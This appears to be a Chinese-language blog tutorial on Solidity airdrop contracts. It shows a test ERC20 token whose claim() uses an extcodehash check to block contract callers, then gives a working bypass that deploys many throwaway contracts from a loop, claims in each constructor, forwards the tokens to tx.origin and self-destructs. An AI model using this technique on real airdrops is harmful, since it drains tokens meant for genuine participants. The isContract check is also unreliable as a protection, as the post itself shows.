在看这篇博文之前,希望你看了
参考资料
改造 RND 合约
首先,我们把之前的合约修改一下,变成合约不能 claim
的合约。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| pragma solidity ^0.7.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract Rnd is ERC20 { uint256 public _totalSupply = uint256(37800000000000 ether); mapping(address => bool) public is_claim;
constructor() ERC20("random", "RND"){ }
function claim() external { require(!isContract(msg.sender), "address is contract"); if (is_claim[msg.sender] == false) { is_claim[msg.sender] = true; _mint(msg.sender, 100 wei); } }
function isContract(address account) public view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } }
|
合约部署如下
调用的脚本还有撸空投的合约请参考
如果是用非合约地址撸,那就没问题。
下面的例子,也是用突破 CA
限制写的。
如果不写在 constructor
,而是写在方法中,就会被 CA 限制给拦下来,至于例子就不写了,感兴趣的可以自己实现一下。
突破 CA 限制
经过改造后的 RND
合约,可以防止合约撸空投,但是,如果了解合约部署远离,那么,我们就有办法突破 CA
限制。
合约如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| pragma solidity ^0.7.0;
interface airdrop { function transfer(address recipient, uint256 amount) external;
function balanceOf(address account) external view returns (uint256);
function claim() external; }
contract RndGet { address constant contra = address(0x4102E14c1815647AA0dEe5A39a7ECA7D0Ad65751);
function call(uint256 times) public { for (uint i = 0; i < times; ++i) { new claimer(contra); } } }
contract claimer { constructor(address contra){ airdrop(contra).claim(); uint256 balance = airdrop(contra).balanceOf(address(this)); airdrop(contra).transfer(address(tx.origin), balance); selfdestruct(payable(address(msg.sender))); } }
|
将提取空投的命令放到 constructor
中,就能有效的绕过 CA
限制。